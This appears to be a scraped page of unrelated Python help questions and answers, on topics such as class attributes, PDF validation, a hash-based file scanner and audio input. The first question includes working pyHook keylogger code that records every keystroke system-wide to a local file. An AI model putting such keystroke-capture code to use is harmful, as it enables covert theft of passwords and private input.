I am trying to write a keylogger using pyhook. Below is the piece of code.
I recently changed to py3.5 from py2.7. The code was working fine before migration.
After migration I am getting errors.
Everytime I press say "a" on keyboard, I get event.Ascii as 1(a = 1, b=2 and likewise) and not 97 (which is expected value).
If I insert a breakpoint and try debug mode, then I it works right as expected.
I am running on Win7-64 bit OS and using anaconda distribution package for python.
import win32api
import sys
import pythoncom
import pyHook
import os
from time import strftime, sleep
# ################################################################################
filename = r"E:\myfile.txt"
if os.path.isfile(filename):
f = open(filename, 'a')
f.write(strftime("\n\n%A, %d. %B %Y %I:%M%p\n\n"))
f.close()
else:
f = open(filename, 'w')
f.write(strftime("%A, %d. %B %Y %I:%M%p\n\n"))
f.close()
def OnKeyboardEvent(event):
try:
if event.Ascii == 5:
sys.exit()
elif event.Ascii != 0 or event.Ascii != 8:
keylogs = chr(event.Ascii)
elif event.Ascii == 13 or event.Ascii == 9:
keylogs = keylogs + '\n'
else:
pass
# write to a file
f = open(filename, 'a')
f.write(keylogs)
f.close()
except UnboundLocalError:
pass
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Related
I'm trying to make it so that the user chooses which function to run using if.
import os
import csv
import collections
import datetime
import pandas as pd
import time
import string
import re
import glob, os
folder_path = 'C:/ProgramData/WebPort/system/tags'
folder2_path = 'C:/ProgramData/WebPort/system'
search2_str = '"Prefix"'
print("Choices:\n 1 - Read from CSV\n 2 - Read from WPP")
x = input("Please enter your choice:\n")
x = int(x)
if x == 1:
csv_file_list = glob.glob(folder_path + '/*.csv')
with open("csv.txt", 'w') as wf:
for file in csv_file_list:
print(glob.glob(folder_path + '/*.csv'))
with open(file) as rf:
for line in rf:
if line.strip(): # if line is not empty
if not line.endswith("\n"):
line+="\n"
wf.write(line)
print('Reading from .csv')
elif x == 2:
for root, dirs, files in os.walk(folder2_path):
for file in files:
if file.endswith(".wpp"):
print(os.path.join(root, file))
with open(os.path.join(root, file), 'r') as fr, open ("wpp.txt",'a', encoding='utf-8') as fw:
for i,line in enumerate(fr):
if line.find(search2_str) != -1:
fw.write(line)
print('Reading from .wpp')
else:
print('wrong choice')
Getting Invalid syntax in line 34 using this.
I've been trying to build a speech-recognition application with gtts. What I want to do now is to use a variable from another python script so I can update a tk Label. I tried to put my code in a structure of a class to access the variable. I've added a smaller program to showcase my problem.
(These programs are ment to be running at the same time)
I'am a beginner in Python so I hope you guys can teach me how to do it better. :)
Thank you in advance!!
Error:
S = SuperAssistant()
TypeError: __init__() missing 1 required positional argument: 'audio'
basic example that showcases my problem:
from try_access_var import myfunction
print(myfunction.audio)
Then in my other pyscript called try_access_var:
def myfunction():
audio = 1
(My program where I want to implement the Solution I might get)
`from gtts import gTTS
import speech_recognition as sr
from playsound import playsound
import os
import re
import webbrowser
from tkinter import *
import smtplib
import requests
import sys
import subprocess
from subprocess import Popen
import time
import datetime as dt
from datetime import timedelta
import keyboard
import mouse
import pyaudio
import tkinter as tk
from tkinter import filedialog, Text
import csv
Note that "Class SuperAssistant" belongs to the code
class SuperAssistant:
def __init__(self):
self.audio = audio
def talkToMe(self):
"speaks audio passed as argument"
#SuperAssistant.audio = audio
print(self.audio)
tts = gTTS(text=audio, lang='en')
tts.save("good.mp3")
#os.system("cd C://Users//johan//OneDrive - Departement Bildung, Kultur und Sport Kanton Aargau-7988362-Kantonsschule Zofingen//DATA_SHAR//desktopAssistant-master")
#os.system("python -i C://Users//johan//OneDrive - Departement Bildung, Kultur und Sport Kanton Aargau-7988362-Kantonsschule Zofingen//DATA_SHAR//desktopAssistant-master//tkinter_samentha_tricks.py")
#os.system("python -i tkinter_samentha_tricks.py")
#force it to have no console
DETACHED_PROCESS = 0x00000008
subprocess.Popen("python -i tkinter_samentha_tricks.py") #creationflags=DETACHED_PROCESS)
while playsound("good.mp3"):
pass
os.remove("good.mp3")
#print(audio)
#for line in audio.splitlines():
# os.system("say " + audio)
#use the system's inbuilt say command instead of mpg123
#text_to_speech = gTTS(text=audio, lang='en')
#text_to_speech.save('audio.mp3')
#os.system('mpg123 audio.mp3')
def myCommand(self, x):
"listens for commands"
r = sr.Recognizer()
#mic_version= open("C:/Users/johan/OneDrive - Departement Bildung, Kultur und Sport Kanton Aargau-7988362-Kantonsschule Zofingen/DATA_SHARE/desktopAssistant-master/choose_mic_text.txt", "r")
#mic_integer=mic_version
#mic = sr.Microphone(device_index=mic_integer)
with sr.Microphone() as source:
print('Ready...')
r.pause_threshold = 1
r.adjust_for_ambient_noise(source, duration=1)
audio = r.listen(source)
if x == 1:
try:
command = r.recognize_google(audio).lower()
#talkToMe('You said: ' + command + '\n')
#add silent mode. for now: print only
print('You said: ' + command + '\n')
#loop back to continue to listen for commands if unrecognizable speech is received
except sr.UnknownValueError:
print('Your last command couldn\'t be heard')
command = SuperAssistant.myCommand(1);
return command
if x == 2:
try:
command02 = r.recognize_google(audio).lower()
#talkToMe('You said: ' + command + '\n')
#add silent mode. for now: print only
print('You said: ' + command02 + '\n')
#loop back to continue to listen for commands if unrecognizable speech is received
except sr.UnknownValueError:
print('Your last command couldn\'t be heard')
command02 = SuperAssistant.myCommand(2);
return command02
if x == 3:
try:
command03 = r.recognize_google(audio).lower()
#talkToMe('You said: ' + command + '\n')
#add silent mode. for now: print only
print('You said: ' + command03 + '\n')
#loop back to continue to listen for commands if unrecognizable speech is received
except sr.UnknownValueError:
print('Your last command couldn\'t be heard')
command03 = SuperAssistant.myCommand(3);
return command03
if x == 4:
try:
command04 = r.recognize_google(audio).lower()
#talkToMe('You said: ' + command + '\n')
#add silent mode. for now: print only
print('You said: ' + command04 + '\n')
#loop back to continue to listen for commands if unrecognizable speech is received
except sr.UnknownValueError:
print('Your last command couldn\'t be heard')
command04 = SuperAssistant.myCommand(4);
return command04
if x == 5:
try:
command05 = r.recognize_google(audio).lower()
#talkToMe('You said: ' + command + '\n')
#add silent mode. for now: print only
print('You said: ' + command05 + '\n')
#loop back to continue to listen for commands if unrecognizable speech is received
except sr.UnknownValueError:
print('Your last command couldn\'t be heard')
command05 = SuperAssistant.myCommand(5);
return command05
if x == 6:
try:
command06 = r.recognize_google(audio).lower()
#talkToMe('You said: ' + command + '\n')
#add silent mode. for now: print only
print('You said: ' + command06 + '\n')
#loop back to continue to listen for commands if unrecognizable speech is received
except sr.UnknownValueError:
print('Your last command couldn\'t be heard')
command06 = SuperAssistant.myCommand(6);
return command06
def time_greeting():
if 12 > dt.datetime.now().hour:
SuperAssistant.talkToMe('Good morning sir.')
elif 12 == dt.datetime.now().hour:
SuperAssistant.talkToMe('It is high noon, hope you are ready for your duel!')
elif (12 < dt.datetime.now().hour) and (18 > dt.datetime.now().hour):
SuperAssistant.talkToMe('Good afternoon sir.')
elif 18 < dt.datetime.now().hour:
SuperAssistant.talkToMe('Good evening sir.')
def time_bye():
if 12 > dt.datetime.now().hour:
SuperAssistant.talkToMe('wish you a nice morning sir.')
elif 12 == dt.datetime.now().hour:
SuperAssistant.talkToMe('wish you a good lunce sir.!')
elif (12 < dt.datetime.now().hour) and (18 > dt.datetime.now().hour):
SuperAssistant.talkToMe('wish you a good afternoon sir.')
elif 18 < dt.datetime.now().hour:
SuperAssistant.talkToMe('wish you good evening sir.')
def welcome():
SuperAssistant.talkToMe('My systems are booting up. Systems successfully booted!')
SuperAssistant.time_greeting()
SuperAssistant.talkToMe('How should I call you? Please tell me your name.')
global name
name = SuperAssistant.myCommand(1)
SuperAssistant.talkToMe('Nice to meet you ' + name +'.')
file=open("C://Users//johan//OneDrive - Departement Bildung, Kultur und Sport Kanton Aargau-7988362-Kantonsschule Zofingen//DATA_SHARE//desktopAssistant-master//userprofiles.txt", "r")
with open("C://Users//johan//OneDrive - Departement Bildung, Kultur und Sport Kanton Aargau-7988362-Kantonsschule Zofingen//DATA_SHARE//desktopAssistant-master//userprofiles.txt", "r") as profiles:
for line in profiles:
if name in line:
pass
for profiles in file.readlines():
print(profiles)
if name in profiles:
SuperAssistant.talkToMe('welcome back.')
file.close()
else:
SuperAssistant.talkToMe('Should I create a new profile?')
profilcreation=myCommand(2)
if 'yes' in profilcreation:
#questions to ask to create new profil
SuperAssistant.talkToMe('I am going to ask you some questions...')
SuperAssistant.talkToMe('What is your favorite color?')
question01_profilcreation=myCommand(3)
SuperAssistant.talkToMe('What is your favorid food?')
question02_profilcreation=myCommand(3)
SuperAssistant.talkToMe('When were you born?')
question03_profilcreation=myCommand(3)
file=open("C:/Users/johan/OneDrive - Departement Bildung, Kultur und Sport Kanton Aargau-7988362-Kantonsschule Zofingen/DATA_SHARE/desktopAssistant-master/userprofiles.txt", "a")
file.write('\n'+'['+'"'+name+'"'+','+'"'+question01_profilcreation+'"'+','+'"'+question02_profilcreation+'"'+','+'"'+question03_profilcreation+'"'+']')
elif 'no' in profilcreation:
SuperAssistant.talkToMe('profilcreation denied')
file.close()
return name
def load(element):
with open("C://Users//johan//OneDrive - Departement Bildung, Kultur und Sport Kanton Aargau-7988362-Kantonsschule Zofingen//DATA_SHARE//desktopAssistant-master//userprofiles.txt", "r") as profiles:
for line in profiles:
if name in line:
hole_item=line
#hole_item.append(line)
#profil_item=hole_item[element]
profil=hole_item.split(",")
print(profil)
profiles.close()
return profil[element]
all_the_lines = profiles.readlines()
items = []
for i in all_the_lines:
items.append(i)
print(items)
def assistant(command):
"if statements for executing commands"
global name
global check
if 'samantha' in command:
if (check == 0):
check = 1
SuperAssistant.welcome()
else:
SuperAssistant.talkToMe("What can I do for you")
command02 = SuperAssistant.myCommand(2)
if 'open reddit' in command02:
reg_ex = re.search('open reddit (.*)', command02)
url = 'https://www.reddit.com/'
if reg_ex:
subreddit = reg_ex.group(1)
url = url + 'r/' + subreddit
webbrowser.open(url)
print('Done!')
elif 'open youtube' in command02:
reg_ex = re.search('open website (.+)', command02)
print(command02)
song_title=command02[12:]
print(song_title)
url='https://www.youtube.com/results?search_query='+song_title
webbrowser.open(url)
talkToMe('Done!')
command03 = SuperAssistant.myCommand(3)
if 'play' in command03:
keyboard.press_and_release('tab','tab')
keyboard.press_and_release('enter')
command04 = SuperAssistant.myCommand(4)
if 'stop' in command04:
keyboard.press_and_release('space')
command04 = SuperAssistant.myCommand(4)
elif 'continue' in command04:
keyboard.press_and_release('space')
command04 = myCommand(4)
elif 'exit' in command03:
talkToMe('exit')
command = SuperAssistant.myCommand(1)
elif 'help' in command02:
talkToMe('I\'ve got some information for you.')`
This here is my code at the end of the function/class:
if __name__ == "__main__":
S = SuperAssistant()
S.talkToMe('I am ready for your command')
#loop to continue executing multiple commands
while True:
SuperAssistant.assistant(SuperAssistant.myCommand(1))
the code of the smaller program (show tk window) I opened with subprocess.Popen(....)
#importing the class/function
from desktopAssistant_wakeup import SuperAssistant
from tkinter import *
#printing out imported variable (if classes are used: object)
print(#way to print audio)
SuperAssistent does not have a class attribute named audio. For this you would have to set it somewhere in your class. For example, you could do something like SuperAssistent.audio = audio in talkToMe.
Is it on purpose that you use class methods only and do not instantiate SuperAudio? If that is not the case you should add a constructor and add self as first arguments of all methods that are not class methods.
I suggest to go through an introduction for Python classes/objects like this one on w3schools if that is the case.
Update:
Here is an example for setting and accessing class and instance attributes with split up files for script and class definition:
example.py:
class Foo():
class_attribute = 'class attribute: initial value'
def __init__(self):
self.instance_attribute = \
'instance attribute ({:X}): initial value'.format(id(self))
def do_something(self = None):
Foo.class_attribute = 'class_attribute: modified value'
if self is not None:
self.instance_attribute = \
'instance attribute ({:X}): modified value'.format(id(self))
script.py
#!/usr/bin/env python3
from example import Foo
a = Foo()
b = Foo()
print(Foo.class_attribute)
print(a.instance_attribute)
print(b.instance_attribute)
print('\nChanging attributes..\n')
Foo.do_something()
a.do_something()
b.do_something()
print(Foo.class_attribute)
print(a.instance_attribute)
print(b.instance_attribute)
Executing script.py gives the following output (note that IDs change between machines and executions:
class attribute: initial value
instance attribute (7F640ACF56A0): initial value
instance attribute (7F640AC2AB50): initial value
Changing attributes..
class_attribute: modified value
instance attribute (7F640ACF56A0): modified value
instance attribute (7F640AC2AB50): modified value
I try to check the PDF files are corrupted in windows environment and come up with following python code.
Just want to check is it the best way to check corrupted PDF files or is there any other easy way?
Note: C:\Temp\python\sample-map (1).pdf is the corrupted PDF file
Here is the sample code
import os
import subprocess
import re
from subprocess import Popen, PIPE
def checkFile(fullfile):
proc=subprocess.Popen(["file", "-b", fullfile], shell=True, stdout=PIPE, stderr=PIPE, bufsize=0)
# -b, --brief : do not prepend filenames to output lines
out, err = proc.communicate()
exitcode = proc.returncode
return exitcode, out, err
def searchFiles(dirpath):
pwdpath=os.path.dirname(os.path.realpath(__file__))
print("running path : %s" %pwdpath )
if os.access(dirpath, os.R_OK):
print("Path %s validation OK \n" %dirpath)
listfiles=os.listdir(dirpath)
for files in listfiles:
fullfile=os.path.join(dirpath, files)
if os.access(fullfile, os.R_OK):
code, out, error = checkFile(fullfile)
if str(code) !="0" or str(error, "utf-8") != "" or re.search("^(?!PDF(\s)).*", str(out,'utf-8')):
print("ERROR " + fullfile+"\n################")
else:
print("OK " + fullfile+"\n################")
else:
print("$s : File not readable" %fullfile)
else:
print("Path is not valid")
if __name__ == "__main__":
searchFiles('C:\Temp\python')
sample output :
$ "C:/Program Files (x86)/Python37-32/python.exe" c:/Users/myuser/python/check_pdf_file.py
running path : c:\Users\myuser\python
Path C:\Temp\python validation OK
OK C:\Temp\python\Induction Guide.pdf
################
ERROR C:\Temp\python\sample-map (1).pdf
################
OK C:\Temp\python\sample-map.pdf
################
I think you can use PyPDF2 module.
pip install pypdf2
The code is as follows.
from PyPDF2 import PdfFileReader
import os
def checkFile(fullfile):
with open(fullfile, 'rb') as f:
try:
pdf = PdfFileReader(f)
info = pdf.getDocumentInfo()
if info:
return True
else:
return False
except:
return False
def searchFiles(dirpath):
pwdpath = os.path.dirname(os.path.realpath(__file__))
print("running path : %s" %pwdpath )
if os.access(dirpath, os.R_OK):
print("Path %s validation OK \n" %dirpath)
listfiles = os.listdir(dirpath)
for f in listfiles:
fullfile = os.path.join(dirpath, f)
if checkFile(fullfile):
print("OK " + fullfile + "\n################")
else:
print("ERROR " + fullfile + "\n################")
else:
print("Path is not valid")
if __name__ == "__main__":
searchFiles('C:\Temp\python')
I tried to match your coding style.
I think this code can also be used on MacOS or Linux.
I'm trying to make an antivirus in python, but I keep getting a permissions denied error when i get its hash and check even when I make it ignore the error and try and move on to the next file to hash and check. I'm fine with the error, but I'm trying it to make it move to the next file and nothing I try works. I'm using windows.
AV.py
#!/usr/bin/python3.5
import os
import sys
import time
import glob
import simple_hasher
from colorama import *
init()
#Begin code
#variable_set
virlfile = "ListFile.hash"
vircount = 0
virusdel = []
hashtype = "MD5"
#variable_end
#fileloadhash
if not os.path.isfile(virlfile):
try:
with open(virlfile, "w") as f:
f.close
except IOError as err:
print("Error, Something went WRONG!")
print("Error as reported:")
print("{}".format(err))
with open(virlfile) as f:
data = f.read()
#scanner
filecount = 0
try:
for file in glob.glob("./**/*", recursive = True):
if os.path.isfile(file):
file_hash = simple_hasher.get_hash(file, hashtype)
if file_hash in data:
print("{} | {}".format(file_hash, Fore.CYAN + file + " (!)ALERT" + Style.RESET_ALL))
vircount += 1
virusdel.append(file)
filecount += 1
else:
print("{} | {}".format(file_hash, file))
filecount += 1
except OSError:
pass
if vircount > 0:
print("\n{} Viruses Detected. Delete? Y/N".format(vircount))
try:
choice = input(">> ").lower().split(" ")
except KeyboardInterrupt:
print("SCAN ABORTED!")
try:
if choice[0] == "y":
for file in virusdel:
try:
os.remove(file)
print("File Deleted - {}".format(os.path.abspath(file)))
except Exception as err:
print ("Unable to remove file.\n{}".format(err))
print("\n(+) All Viruses Removed.\n")
else:
sys.exit()
except Exception as err:
print("Error: {}".format(err))
else:
print("\n(+)No viruses\n")
sys.exit()
I also have a custom module being imported:
simple_hasher.py
import hashlib
import os
import sys
def get_hash(file, ver):
if ver.lower() == "md5":
h = hashlib.md5()
elif ver.lower() == "sha1":
h = hashlib.sha1()
elif ver.lower() == "sha256":
h = hashlib.sha256()
else:
h = hashlib.sha1()
while not False:
try:
with open(file, "rb") as f:
while True:
data = f.read(2 ** 20)
if not data: break
h.update(data)
return h.hexdigest()
except Exception as err:
print("[Debug] [{}] - Message: {}".format(os.path.split(__file__)[1], err))
pass
The error:
[Debug] [simple_hasher.py] - Message: [Errno 13] Permission denied: '.\\hiberfil.sys'
How could you set a variable equal to 'O' or '-' and then put that in an if statement like the one below:
if variable == 'O':
print 'hi'
how could you do that for:
import threading
from array import array
from Queue import Queue, Full
import pyaudio
CHUNK_SIZE = 1024
MIN_VOLUME = 500
BUF_MAX_SIZE = CHUNK_SIZE * 10
def main():
stopped = threading.Event()
q = Queue(maxsize=int(round(BUF_MAX_SIZE / CHUNK_SIZE)))
listen_t = threading.Thread(target=listen, args=(stopped, q))
listen_t.start()
record_t = threading.Thread(target=record, args=(stopped, q))
record_t.start()
try:
while True:
listen_t.join(0.1)
record_t.join(0.1)
except KeyboardInterrupt:
stopped.set()
listen_t.join()
record_t.join()
def record(stopped, q):
while True:
if stopped.wait(timeout=0):
break
chunk = q.get()
vol = max(chunk)
if vol >= MIN_VOLUME:
# TODO: write to file
print "O",
else:
print "-",
def listen(stopped, q):
stream = pyaudio.PyAudio().open(
format=pyaudio.paInt16,
channels=2,
rate=44100,
input=True,
frames_per_buffer=1024,
)
while True:
if stopped.wait(timeout=0):
break
try:
q.put(array('h', stream.read(CHUNK_SIZE)))
except Full:
pass # discard
if __name__ == '__main__':
main()
Could you use that so if the output is 'O' then print hi? Will somebody write the code for me because I have been trying for a little bit to write this code and I have still not been able to make the code work for me. Thank You.
In order to use if then statement in Python, first we need to declare variable value with proper syntax according to requirement and type.
s = "O"
if s == 'O':
print 'hi'